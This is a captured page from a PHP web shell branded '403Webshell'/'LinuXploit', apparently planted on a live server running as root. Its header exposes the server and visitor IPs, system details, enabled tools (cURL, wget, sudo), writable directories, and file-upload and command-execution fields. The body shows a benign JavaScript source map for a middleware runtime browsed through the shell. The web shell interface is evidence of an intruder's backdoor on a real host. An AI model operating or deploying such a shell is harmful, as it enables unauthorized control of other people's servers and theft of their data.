403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/middleware-runtime.js.map
{"version":3,"file":"middleware-runtime.js","names":[],"sources":["../../src/server/middleware-runtime.ts"],"sourcesContent":["import type { NextI18nConfig } from \"../config/next-config.js\";\nimport { normalizePathnameForRouteMatchStrict } from \"../routing/utils.js\";\nimport {\n  getRequestExecutionContext,\n  runWithExecutionContext,\n  type ExecutionContextLike,\n} from \"vinext/shims/request-context\";\nimport { NextFetchEvent, NextRequest } from \"vinext/shims/server\";\nimport { normalizePath } from \"./normalize-path.js\";\nimport {\n  MIDDLEWARE_HEADER_PREFIX,\n  MIDDLEWARE_NEXT_HEADER,\n  MIDDLEWARE_REWRITE_HEADER,\n} from \"./headers.js\";\nimport { MatcherConfig, matchesMiddleware } from \"./middleware-matcher.js\";\nimport { shouldKeepMiddlewareHeader } from \"./middleware-request-headers.js\";\nimport { processMiddlewareHeaders } from \"./request-pipeline.js\";\nimport { badRequestResponse, internalServerErrorResponse } from \"./http-error-responses.js\";\n\nexport type MiddlewareModule = Record<string, unknown>;\n\nexport type MiddlewareResult = {\n  continue: boolean;\n  redirectUrl?: string;\n  redirectStatus?: number;\n  rewriteUrl?: string;\n  rewriteStatus?: number;\n  status?: number;\n  responseHeaders?: Headers;\n  response?: Response;\n  waitUntilPromises?: Promise<unknown>[];\n};\n\ntype MiddlewareHandler = (\n  request: NextRequest,\n  event: NextFetchEvent,\n) => Response | undefined | void | Promise<Response | undefined | void>;\n\ntype MiddlewareConfigExport = {\n  matcher?: MatcherConfig;\n};\n\ntype ExecuteMiddlewareOptions = {\n  basePath?: string;\n  filePath?: string;\n  i18nConfig?: NextI18nConfig | null;\n  includeErrorDetails?: boolean;\n  isProxy: boolean;\n  module: MiddlewareModule;\n  normalizedPathname?: string;\n  request: Request;\n};\n\ntype RunGeneratedMiddlewareOptions = ExecuteMiddlewareOptions & {\n  ctx?: ExecutionContextLike;\n};\n\nfunction isMiddlewareHandler(value: unknown): value is MiddlewareHandler {\n  return typeof value === \"function\";\n}\n\nfunction isMiddlewareConfigExport(value: unknown): value is MiddlewareConfigExport {\n  return !!value && typeof value === \"object\";\n}\n\nfunction middlewareFileLabel(isProxy: boolean): string {\n  return isProxy ? \"Proxy\" : \"Middleware\";\n}\n\nfunction middlewareExpectedExport(isProxy: boolean): string {\n  return isProxy ? \"proxy\" : \"middleware\";\n}\n\nexport function resolveMiddlewareModuleHandler(\n  mod: MiddlewareModule,\n  options: { filePath?: string; isProxy: boolean },\n): MiddlewareHandler {\n  const handler = options.isProxy ? (mod.proxy ?? mod.default) : (mod.middleware ?? mod.default);\n  if (isMiddlewareHandler(handler)) return handler;\n\n  const fileLabel = middlewareFileLabel(options.isProxy);\n  const expectedExport = middlewareExpectedExport(options.isProxy);\n  const fileSuffix = options.filePath ? ` \"${options.filePath}\"` : \"\";\n  throw new Error(\n    `The ${fileLabel} file${fileSuffix} must export a function named \\`${expectedExport}\\` or a \\`default\\` function.`,\n  );\n}\n\nfunction middlewareMatcher(mod: MiddlewareModule): MatcherConfig | undefined {\n  const config = mod.config;\n  if (!isMiddlewareConfigExport(config)) return undefined;\n  return config.matcher;\n}\n\nfunction stripMiddlewareHeadersFromResponse(response: Response): Response {\n  const headers = new Headers(response.headers);\n  processMiddlewareHeaders(headers);\n  return new Response(response.body, {\n    status: response.status,\n    statusText: response.statusText,\n    headers,\n  });\n}\n\nfunction collectMiddlewareHeaders(response: Response): Headers {\n  const responseHeaders = new Headers();\n  for (const [key, value] of response.headers) {\n    if (!key.startsWith(MIDDLEWARE_HEADER_PREFIX) || shouldKeepMiddlewareHeader(key)) {\n      responseHeaders.append(key, value);\n    }\n  }\n  return responseHeaders;\n}\n\nfunction drainFetchEvent(fetchEvent: NextFetchEvent): Promise<unknown>[] {\n  const waitUntilPromises = fetchEvent.waitUntilPromises;\n  const drained = fetchEvent.drainWaitUntil();\n  const executionContext = getRequestExecutionContext();\n  if (executionContext) {\n    executionContext.waitUntil(drained);\n  } else {\n    void drained;\n  }\n  return waitUntilPromises;\n}\n\nfunction resolveMiddlewarePathname(request: Request): string | Response {\n  const url = new URL(request.url);\n  try {\n    return normalizePath(normalizePathnameForRouteMatchStrict(url.pathname));\n  } catch {\n    return badRequestResponse();\n  }\n}\n\nfunction createNextRequest(\n  request: Request,\n  normalizedPathname: string,\n  i18nConfig?: NextI18nConfig | null,\n  basePath?: string,\n): NextRequest {\n  const url = new URL(request.url);\n  // Middleware gets an isolated body branch; downstream routing keeps owning\n  // the original request body.\n  let mwRequest = request.body && !request.bodyUsed ? request.clone() : request;\n  if (normalizedPathname !== url.pathname) {\n    const mwUrl = new URL(url);\n    mwUrl.pathname = normalizedPathname;\n    mwRequest = new Request(mwUrl, mwRequest);\n  }\n\n  const nextConfig =\n    basePath || i18nConfig\n      ? { basePath: basePath ?? \"\", i18n: i18nConfig ?? undefined }\n      : undefined;\n\n  return mwRequest instanceof NextRequest\n    ? mwRequest\n    : new NextRequest(mwRequest, nextConfig ? { nextConfig } : undefined);\n}\n\nexport async function executeMiddleware(\n  options: ExecuteMiddlewareOptions,\n): Promise<MiddlewareResult> {\n  const middlewareFn = resolveMiddlewareModuleHandler(options.module, {\n    filePath: options.filePath,\n    isProxy: options.isProxy,\n  });\n  const normalizedPathname =\n    options.normalizedPathname ?? resolveMiddlewarePathname(options.request);\n  if (normalizedPathname instanceof Response) {\n    return { continue: false, response: normalizedPathname };\n  }\n\n  if (\n    !matchesMiddleware(\n      normalizedPathname,\n      middlewareMatcher(options.module),\n      options.request,\n      options.i18nConfig,\n    )\n  ) {\n    return { continue: true };\n  }\n\n  const nextRequest = createNextRequest(\n    options.request,\n    normalizedPathname,\n    options.i18nConfig,\n    options.basePath,\n  );\n  const fetchEvent = new NextFetchEvent({ page: normalizedPathname });\n\n  let response: Response | undefined | void;\n  try {\n    response = await middlewareFn(nextRequest, fetchEvent);\n  } catch (e) {\n    console.error(\"[vinext] Middleware error:\", e);\n    const waitUntilPromises = drainFetchEvent(fetchEvent);\n    const message = options.includeErrorDetails\n      ? \"Middleware Error: \" + (e instanceof Error ? e.message : String(e))\n      : \"Internal Server Error\";\n    return {\n      continue: false,\n      response: internalServerErrorResponse(message),\n      waitUntilPromises,\n    };\n  }\n\n  const waitUntilPromises = drainFetchEvent(fetchEvent);\n\n  if (!response) {\n    return { continue: true, waitUntilPromises };\n  }\n\n  if (response.headers.get(MIDDLEWARE_NEXT_HEADER) === \"1\") {\n    return {\n      continue: true,\n      responseHeaders: collectMiddlewareHeaders(response),\n      status: response.status !== 200 ? response.status : undefined,\n      waitUntilPromises,\n    };\n  }\n\n  if (response.status >= 300 && response.status < 400) {\n    const location = response.headers.get(\"Location\") ?? response.headers.get(\"location\");\n    if (location) {\n      const responseHeaders = new Headers();\n      for (const [key, value] of response.headers) {\n        if (!key.startsWith(MIDDLEWARE_HEADER_PREFIX) && key.toLowerCase() !== \"location\") {\n          responseHeaders.append(key, value);\n        }\n      }\n      return {\n        continue: false,\n        redirectUrl: location,\n        redirectStatus: response.status,\n        response: stripMiddlewareHeadersFromResponse(response),\n        responseHeaders,\n        waitUntilPromises,\n      };\n    }\n  }\n\n  const rewriteUrl = response.headers.get(MIDDLEWARE_REWRITE_HEADER);\n  if (rewriteUrl) {\n    let rewritePath: string;\n    try {\n      const rewriteParsed = new URL(rewriteUrl, options.request.url);\n      const requestOrigin = new URL(options.request.url).origin;\n      rewritePath =\n        rewriteParsed.origin === requestOrigin\n          ? rewriteParsed.pathname + rewriteParsed.search\n          : rewriteParsed.href;\n    } catch {\n      rewritePath = rewriteUrl;\n    }\n    return {\n      continue: true,\n      rewriteUrl: rewritePath,\n      rewriteStatus: response.status !== 200 ? response.status : undefined,\n      responseHeaders: collectMiddlewareHeaders(response),\n      status: response.status !== 200 ? response.status : undefined,\n      waitUntilPromises,\n    };\n  }\n\n  return {\n    continue: false,\n    response: stripMiddlewareHeadersFromResponse(response),\n    waitUntilPromises,\n  };\n}\n\nexport async function runGeneratedMiddleware(\n  options: RunGeneratedMiddlewareOptions,\n): Promise<MiddlewareResult> {\n  const run = () => executeMiddleware(options);\n  return options.ctx ? runWithExecutionContext(options.ctx, run) : run();\n}\n"],"mappings":";;;;;;;;;;AAyDA,SAAS,oBAAoB,OAA4C;CACvE,OAAO,OAAO,UAAU;;AAG1B,SAAS,yBAAyB,OAAiD;CACjF,OAAO,CAAC,CAAC,SAAS,OAAO,UAAU;;AAGrC,SAAS,oBAAoB,SAA0B;CACrD,OAAO,UAAU,UAAU;;AAG7B,SAAS,yBAAyB,SAA0B;CAC1D,OAAO,UAAU,UAAU;;AAG7B,SAAgB,+BACd,KACA,SACmB;CACnB,MAAM,UAAU,QAAQ,UAAW,IAAI,SAAS,IAAI,UAAY,IAAI,cAAc,IAAI;CACtF,IAAI,oBAAoB,QAAQ,EAAE,OAAO;CAEzC,MAAM,YAAY,oBAAoB,QAAQ,QAAQ;CACtD,MAAM,iBAAiB,yBAAyB,QAAQ,QAAQ;CAChE,MAAM,aAAa,QAAQ,WAAW,KAAK,QAAQ,SAAS,KAAK;CACjE,MAAM,IAAI,MACR,OAAO,UAAU,OAAO,WAAW,kCAAkC,eAAe,+BACrF;;AAGH,SAAS,kBAAkB,KAAkD;CAC3E,MAAM,SAAS,IAAI;CACnB,IAAI,CAAC,yBAAyB,OAAO,EAAE,OAAO,KAAA;CAC9C,OAAO,OAAO;;AAGhB,SAAS,mCAAmC,UAA8B;CACxE,MAAM,UAAU,IAAI,QAAQ,SAAS,QAAQ;CAC7C,yBAAyB,QAAQ;CACjC,OAAO,IAAI,SAAS,SAAS,MAAM;EACjC,QAAQ,SAAS;EACjB,YAAY,SAAS;EACrB;EACD,CAAC;;AAGJ,SAAS,yBAAyB,UAA6B;CAC7D,MAAM,kBAAkB,IAAI,SAAS;CACrC,KAAK,MAAM,CAAC,KAAK,UAAU,SAAS,SAClC,IAAI,CAAC,IAAI,WAAA,gBAAoC,IAAI,2BAA2B,IAAI,EAC9E,gBAAgB,OAAO,KAAK,MAAM;CAGtC,OAAO;;AAGT,SAAS,gBAAgB,YAAgD;CACvE,MAAM,oBAAoB,WAAW;CACrC,MAAM,UAAU,WAAW,gBAAgB;CAC3C,MAAM,mBAAmB,4BAA4B;CACrD,IAAI,kBACF,iBAAiB,UAAU,QAAQ;CAIrC,OAAO;;AAGT,SAAS,0BAA0B,SAAqC;CACtE,MAAM,MAAM,IAAI,IAAI,QAAQ,IAAI;CAChC,IAAI;EACF,OAAO,cAAc,qCAAqC,IAAI,SAAS,CAAC;SAClE;EACN,OAAO,oBAAoB;;;AAI/B,SAAS,kBACP,SACA,oBACA,YACA,UACa;CACb,MAAM,MAAM,IAAI,IAAI,QAAQ,IAAI;CAGhC,IAAI,YAAY,QAAQ,QAAQ,CAAC,QAAQ,WAAW,QAAQ,OAAO,GAAG;CACtE,IAAI,uBAAuB,IAAI,UAAU;EACvC,MAAM,QAAQ,IAAI,IAAI,IAAI;EAC1B,MAAM,WAAW;EACjB,YAAY,IAAI,QAAQ,OAAO,UAAU;;CAG3C,MAAM,aACJ,YAAY,aACR;EAAE,UAAU,YAAY;EAAI,MAAM,cAAc,KAAA;EAAW,GAC3D,KAAA;CAEN,OAAO,qBAAqB,cACxB,YACA,IAAI,YAAY,WAAW,aAAa,EAAE,YAAY,GAAG,KAAA,EAAU;;AAGzE,eAAsB,kBACpB,SAC2B;CAC3B,MAAM,eAAe,+BAA+B,QAAQ,QAAQ;EAClE,UAAU,QAAQ;EAClB,SAAS,QAAQ;EAClB,CAAC;CACF,MAAM,qBACJ,QAAQ,sBAAsB,0BAA0B,QAAQ,QAAQ;CAC1E,IAAI,8BAA8B,UAChC,OAAO;EAAE,UAAU;EAAO,UAAU;EAAoB;CAG1D,IACE,CAAC,kBACC,oBACA,kBAAkB,QAAQ,OAAO,EACjC,QAAQ,SACR,QAAQ,WACT,EAED,OAAO,EAAE,UAAU,MAAM;CAG3B,MAAM,cAAc,kBAClB,QAAQ,SACR,oBACA,QAAQ,YACR,QAAQ,SACT;CACD,MAAM,aAAa,IAAI,eAAe,EAAE,MAAM,oBAAoB,CAAC;CAEnE,IAAI;CACJ,IAAI;EACF,WAAW,MAAM,aAAa,aAAa,WAAW;UAC/C,GAAG;EACV,QAAQ,MAAM,8BAA8B,EAAE;EAC9C,MAAM,oBAAoB,gBAAgB,WAAW;EAIrD,OAAO;GACL,UAAU;GACV,UAAU,4BALI,QAAQ,sBACpB,wBAAwB,aAAa,QAAQ,EAAE,UAAU,OAAO,EAAE,IAClE,wBAG4C;GAC9C;GACD;;CAGH,MAAM,oBAAoB,gBAAgB,WAAW;CAErD,IAAI,CAAC,UACH,OAAO;EAAE,UAAU;EAAM;EAAmB;CAG9C,IAAI,SAAS,QAAQ,IAAA,oBAA2B,KAAK,KACnD,OAAO;EACL,UAAU;EACV,iBAAiB,yBAAyB,SAAS;EACnD,QAAQ,SAAS,WAAW,MAAM,SAAS,SAAS,KAAA;EACpD;EACD;CAGH,IAAI,SAAS,UAAU,OAAO,SAAS,SAAS,KAAK;EACnD,MAAM,WAAW,SAAS,QAAQ,IAAI,WAAW,IAAI,SAAS,QAAQ,IAAI,WAAW;EACrF,IAAI,UAAU;GACZ,MAAM,kBAAkB,IAAI,SAAS;GACrC,KAAK,MAAM,CAAC,KAAK,UAAU,SAAS,SAClC,IAAI,CAAC,IAAI,WAAA,gBAAoC,IAAI,IAAI,aAAa,KAAK,YACrE,gBAAgB,OAAO,KAAK,MAAM;GAGtC,OAAO;IACL,UAAU;IACV,aAAa;IACb,gBAAgB,SAAS;IACzB,UAAU,mCAAmC,SAAS;IACtD;IACA;IACD;;;CAIL,MAAM,aAAa,SAAS,QAAQ,IAAI,0BAA0B;CAClE,IAAI,YAAY;EACd,IAAI;EACJ,IAAI;GACF,MAAM,gBAAgB,IAAI,IAAI,YAAY,QAAQ,QAAQ,IAAI;GAC9D,MAAM,gBAAgB,IAAI,IAAI,QAAQ,QAAQ,IAAI,CAAC;GACnD,cACE,cAAc,WAAW,gBACrB,cAAc,WAAW,cAAc,SACvC,cAAc;UACd;GACN,cAAc;;EAEhB,OAAO;GACL,UAAU;GACV,YAAY;GACZ,eAAe,SAAS,WAAW,MAAM,SAAS,SAAS,KAAA;GAC3D,iBAAiB,yBAAyB,SAAS;GACnD,QAAQ,SAAS,WAAW,MAAM,SAAS,SAAS,KAAA;GACpD;GACD;;CAGH,OAAO;EACL,UAAU;EACV,UAAU,mCAAmC,SAAS;EACtD;EACD;;AAGH,eAAsB,uBACpB,SAC2B;CAC3B,MAAM,YAAY,kBAAkB,QAAQ;CAC5C,OAAO,QAAQ,MAAM,wBAAwB,QAAQ,KAAK,IAAI,GAAG,KAAK"}

Youez - 2016 - github.com/yon3zu
LinuXploit